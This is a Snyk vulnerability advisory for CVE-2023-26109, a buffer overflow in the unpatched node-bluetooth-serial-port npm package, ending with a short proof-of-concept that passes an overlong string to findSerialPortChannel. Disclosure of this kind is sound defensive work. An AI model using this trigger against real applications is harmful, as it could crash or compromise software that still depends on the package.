CVE-2023-26109: Snyk Vulnerability Database | Snyk

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• Snyk ID SNYK-JS-NODEBLUETOOTHSERIALPORT-3311820
• published 8 Mar 2023
• disclosed 6 Feb 2023
• credit Raoul Scholtes, Giancarlo Pellegrino, Cris Staicu

How to fix?

There is no fixed version for node-bluetooth-serial-port.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the findSerialPortChannel method due to improper user input length validation.

PoC

const BluetoothSerialPort = require("node-bluetooth-serial-port")
const serial = new BluetoothSerialPort.BluetoothSerialPort()

serial.findSerialPortChannel("INSERT A VERY LONG STRING HERE INSTEAD OF THIS LINE", () => console.log("success"), () => console.log("error"))